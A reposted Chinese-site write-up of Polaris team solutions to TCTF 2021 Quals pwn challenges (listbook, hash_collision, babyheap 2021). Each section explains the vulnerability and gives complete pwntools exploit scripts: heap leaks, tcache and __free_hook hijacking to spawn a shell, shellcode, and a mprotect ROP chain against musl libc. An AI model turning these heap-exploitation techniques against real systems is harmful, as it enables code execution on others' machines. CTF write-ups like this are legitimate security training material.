TCTF 2021 Quals-polaris Writeup

admin 2021年12月14日17:14:28评论137 views字数 8829阅读29分25秒阅读模式

Misc

welcome

join后在公告栏获取flag

PWN

listbook

The function get_index ( .text:000000000000134C ) may get a minus value so that array overflow will happen to this program.
int __fastcall get_index(node *this, int name_len)
{
 char v3; // [rsp+17h] [rbp-5h]
 char v4; // [rsp+17h] [rbp-5h]
 int i; // [rsp+18h] [rbp-4h]

 v3 = 0;
 for ( i = 0; i < name_len; ++i )
   v3 += this->name[i];
 v4 = abs8(v3);
 if ( v4 > 15 )
   v4 %= 16;
 return v4;
}

When 'x80' is inputed, get_index() will get a special minus value which assigns new_node to the global_sign[0], it can lead to double free.

void __fastcall add()
{
 int index; // [rsp+4h] [rbp-Ch]
 node *new_node; // [rsp+8h] [rbp-8h]

 printf("name>");
 new_node = (node *)malloc(0x20uLL);
 memset(new_node, 0, sizeof(node));
 read_n(new_node->name, 16);
 new_node->content = (char *)malloc(512uLL);
 printf("content>");
 read_n(new_node->content, 512);
 index = get_index(new_node, 16);
 if ( global_sign[index] )
   new_node->next = (node *)global_ptr[index];
 global_ptr[index] = new_node;
 global_sign[index] = 1;
 puts("done");
}

Exploit it by double free.

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './a'
# sh = process(execve_file)
sh = remote('111.186.58.249', 20001)

def add(name, content):
   sh.sendlineafter('>>', '1')
   sh.sendafter('name>', name)
   sh.sendafter('content>', content)
def delete(index):
   sh.sendlineafter('>>', '2')
   sh.sendlineafter('index>', str(index))
def show(index):
   sh.sendlineafter('>>', '3')
   sh.sendlineafter('index>', str(index))

for i in range(7):
   add(chr(0x01) + 'n', 'an')
add(chr(0x00) + 'n', 'an')
add(chr(0x02) + 'n', 'an')
add(chr(0x03) + 'n', 'an')
delete(1)
delete(2)
delete(0)

# UAF to leak libc address
add(chr(0x80) + 'n', 'an')
show(0)
sh.recvuntil(' => ')

libc_addr = u64(sh.recvn(6) + b'') - 0x1ebde0
success("libc_addr: " + hex(libc_addr))

# Leak heap address
add(chr(0x04) + 'n', 'an')
delete(0)
delete(0x4)
add(chr(0x80) + 'n', 'an')
show(0)
sh.recvuntil(' => ')
heap_addr = u64(sh.recvn(6) + b'') - 0x750
success("heap_addr: " + hex(heap_addr))

# UAF to forge smallbins for structuring heap overlap
add(chr(0x04) + 'n', 'an')
delete(0)
add(chr(0x04) + 'n', p64(libc_addr + 0x1ebde0) + p64(heap_addr + 0xcd0) + b'n')
for i in range(2):
   add(chr(0x04) + 'n', 'an')
add(chr(0x05) + 'n', b'' * 0x100 + p64(0) + p64(0x211) + p64(heap_addr + 0x1280) + p64(heap_addr + 0xf10) + b'n')
add(chr(0x06) + 'n', b'' * 0x100 + p64(0) + p64(0x211) + p64(heap_addr + 0xcd0) + p64(libc_addr + 0x1ebde0) + b'n')
add(chr(0x07) + 'n', 'an') # 0x2050
add(chr(0x08) + 'n', '/bin/shn')
add(chr(0x09) + 'n', 'an')

# Use heap overlap to hijack tcache and __free_hook, finally call system("/bin/sh")
delete(7)
delete(9)
add(chr(0x09) + 'n', b'd' * 0x130 + p64(libc_addr + 0x1eeb28) + b'n')
add(chr(0x10) + 'n', 'an')
add(chr(0x11) + 'n', p64(libc_addr + 0x55410) + b'n')
delete(8)

sh.interactive()

hash_collision

Hijack stack directly.

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './uc_masteeer.py'
# execve_file = './a'
# sh = process(execve_file)
sh = remote('111.186.59.29', 10087)

def patch(addr, size, data):
   sh.sendlineafter('?: ', '3')
   sh.sendafter('addr: ', p64(addr))
   sh.sendafter('size: ', p64(size))
   sh.sendafter('data: ', data)


shellcode = asm('''

  mov rdx, 0xDEADBEF1030
  mov rbx, 0xbabecafe000
  mov [rbx], rdx
  mov rax, 0xbabecafe800

  mov rcx, 0xbabecafe233
  lea rsp, [rcx-0x18]

  mov rcx, 0xdeadbeef066
  jmp rcx
''')
sh.send(shellcode)

patch(0xbabecafe233 + 8, 15, b'k33nlab/bin/sh')
sh.sendlineafter('?: ', '2')

sh.interactive()

babyheap 2021

It uses a long long (8 bytes) variable in function edit() and a long (4 bytes) in function read_with_index(). These two parts lead to integer overflow, so we can choose a special value0xffffffff then heap overflow will happen to the program.

void __fastcall read_with_index(node *ptr, int index, int len)
{
 if ( len <= ptr[index].size )
{
   printf("Content: ");
   read_n(ptr[index].calloc_buf, len);
}
 else
{
   puts("Invalid Size");
}
}
void __fastcall edit(node *ptr)
{
 int index; // [rsp+14h] [rbp-Ch]
 __int64 len; // [rsp+18h] [rbp-8h]

 printf("Index: ");
 index = get_int();
 if ( index >= 0 && index <= 15 && ptr[index].used == 1 )
{
   printf("Size: ");
   len = get_int();                            // Heap overflow
   if ( len >= 0 )
  {
     read_with_index(ptr, index, len);
     printf("Chunk %d Updatedn", (unsigned int)index);
  }
   else
  {
     puts("Invalid Size");
  }
}
 else
{
   puts("Invalid Index");
}
}

The program use musl-libc which has few security checks, let us to take a look of the source. Musl-malloc uses double circular linked list to manage heap, and we can abuse the function unbin() to write a heap address in any place. Also it can illicitly obtain memory that has the write permission by malloc with the function unbin().

musl-1.1.24/src/malloc/malloc.c:188

static void unbin(struct chunk *c, int i)
{
   if (c->prev == c->next)
       a_and_64(&mal.binmap, ~(1ULL<<i));
   c->prev->next = c->next;
   c->next->prev = c->prev;
   c->csize |= C_INUSE;
   NEXT_CHUNK(c)->psize |= C_INUSE;
}

Stdout can be hijack to leak some information, finally we can exploit it.

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'
execve_file = './a'
# sh = process(execve_file); localhost = True ;
sh = remote('111.186.59.11', 11124); localhost = False ;
libc = ELF('./libc.so')
# libc = ELF('/usr/lib/x86_64-linux-musl/libc.so')

def add(size, content):
   sh.sendlineafter('Command: ', '1')
   sh.sendlineafter('Size: ', str(size))
   sh.sendlineafter('Content: ', content)

def edit(index, size, content):
   sh.sendlineafter('Command: ', '2')
   sh.sendlineafter('Index: ', str(index))
   sh.sendlineafter('Size: ', str(size))
   sh.sendlineafter('Content: ', content)

def delete(index):
   sh.sendlineafter('Command: ', '3')
   sh.sendlineafter('Index: ', str(index))

def show(index):
   sh.sendlineafter('Command: ', '4')
   sh.sendlineafter('Index: ', str(index))

# prepare some chunks
add(0x18, '')
add(0x18, '')
add(0x18, '')
add(0x88, '')
add(0x88, '')
add(0x88, '')
add(0xa8, '')
add(0xa8, '')
add(0xa8, '')
add(0xc8, '')
add(0xc8, '')
add(0xc8, '')

# chunk overlap to leak libc address.
edit(0, 0xffffffff, b'' * 0x30 + p64(0x41) + p64(0x61) + b'' * 0x30 + p64(0x41) + p64(0x41) + b'' * 0x10 + p64(0x61) + p64(0x61) )
delete(1)
add(0x48, '')
edit(0, 0xffffffff, b'' * 0x30 + p64(0x41) + p64(0x61) + b'' * 0x30 + p64(0x41) + p64(0x41) + b'' * 0x10 + p64(0x61) + p64(0x61) )
delete(2)
show(1)
sh.recvuntil(': ')
sh.recvn(0x40)

libc_addr = 0
if(localhost == True):
   libc_addr = u64(sh.recvn(8)) - 0xd4a98 # localhost
else:
   libc_addr = u64(sh.recvn(8)) - 0xb0a58 # remote
success("libc_addr: " + hex(libc_addr))

stdout_addr = 0
if(localhost == True):
   stdout_addr = libc_addr + libc.sym['__stdout_FILE']  # localhost
else:
   stdout_addr = libc_addr + 0xB0280  # remote
success("stdout_addr: " + hex(stdout_addr))

# Write two address which has write permission to build the double circular linked list.
# Then we can get the memory of stdout
edit(0, 0xffffffff, b'' * 0x30 + p64(0x41) + p64(0x61) + b'' * 0x30 + p64(0x41) + p64(0x41) + p64(stdout_addr - 0x30 - 0x100)[:6])
add(0x18, '')

delete(4)
edit(3, 0xffffffff, b'' * 0x90 + p64(0xa1) + p64(0xa1) + p64(stdout_addr - 0x28 - 0x100)[:6])
add(0x88, '') # 4

__stdio_write = 0
if(localhost == True):
   __stdio_write = libc_addr + libc.sym['__stdio_write'] # localhost
else:
   __stdio_write = libc_addr + 0x5adf0 # remote

libc_buf = 0
if(localhost == True):
   libc_buf = libc_addr + libc.sym['buf'] + 8 # localhost
else:
   libc_buf = libc_addr + 0xb1908 # remote

add(0x88, '') # 12 , memory of stdout

# Leak stack address by stdout.
edit(12, 0xffffffff, b'' * 0x118 + p64(0x45) + p64(0) * 3 + p64(libc_addr + libc.sym['environ'] + 8) * 2 + p64(0) + p64(libc_addr + libc.sym['environ']) + p64(0)
       + p64(__stdio_write) + p64(0) + p64(libc_buf) + p64(128))
stack_addr = u64(sh.recvn(8)) - 0xd4a98 # localhost
success("stack_addr: " + hex(stack_addr))

# Fix stdout
sh.sendline('2')
sh.sendline('12')
sh.sendline(str(0xffffffff))
sh.sendline( b'' * 0x118 + p64(0x45) + p64(0) * 3 + p64(libc_addr + libc.sym['environ'] + 8) * 2 + p64(0) + p64(libc_addr + libc.sym['environ']) + p64(0)
       + p64(__stdio_write) + p64(0) + p64(libc_buf) + p64(0))

# Write two address which has write permission to build the double circular linked list, save as above.
# Get the memory of stack
delete(7)
edit(6, 0xffffffff, b'' * 0xb0 + p64(0xc1) + p64(0xc1) + p64(stack_addr + 0xd4a60 - 0x30)[:6])
add(0xa8, '') # 7

delete(10)
edit(9, 0xffffffff, b'' * 0xd0 + p64(0xe1) + p64(0xe1) + p64(stack_addr + 0xd4a60 - 0x28)[:6])
add(0xc8, '') # 10

# Rop while obtaining ability of arbitrary code execution
layout = [
   libc_addr + 0x0000000000015291, # pop rdi; ret
  (stack_addr + 0xd4a60 - 0x28) & (~0xfff),
   libc_addr + 0x000000000001d829, # pop rsi; ret
   0x2000,
   libc_addr + 0x000000000002cdda, # pop rdx; ret
   7,
   libc_addr + 0x0000000000016a16, # pop rax; ret
   21,
   libc_addr + 0x0000000000078beb, # dec rax; shr rax, 1; movq xmm1, rax; andpd xmm0, xmm1; ret;
   libc_addr + 0x0000000000023720, # syscall; ret
   libc_addr + 0x0000000000016a16, # pop rax; ret
   stack_addr + 0xd4ab0,
   libc_addr + 0x0000000000019f2a, # call rax
]
shellcode = asm('''
  mov rax, 0x67616c66 ;// flag
  push 0
  push rax
  mov rdi, rsp
  xor esi, esi
  mov eax, 2
  syscall

  cmp eax, 0
  js fail

  mov edi, eax
  mov rsi, rsp
  add rsi, 0x200
  push rsi
  mov edx, 100
  xor eax, eax
  syscall ;// read

  mov edx, eax
  mov eax, 1
  pop rsi
  mov edi, eax
  syscall ;// write

  jmp exit

  fail:
  mov rax, 0x727265206e65706f ;// open error!
  mov [rsp], rax
  mov eax, 0x0a21726f
  mov [rsp+8], rax
  mov rsi, rsp
  mov edi, 1
  mov edx, 12
  mov eax, edi
  syscall ;// write

  exit:
  xor edi, edi
  mov eax, 231
  syscall
''')
add(0xc8, flat(layout) + shellcode) # 13
sh.sendlineafter('Command: ', '5')

sh.interactive()



本文始发于微信公众号(星盟安全):TCTF 2021 Quals-polaris Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月14日17:14:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   TCTF 2021 Quals-polaris Writeuphttp://cn-sec.com/archives/437500.html

发表评论

匿名网友 填写信息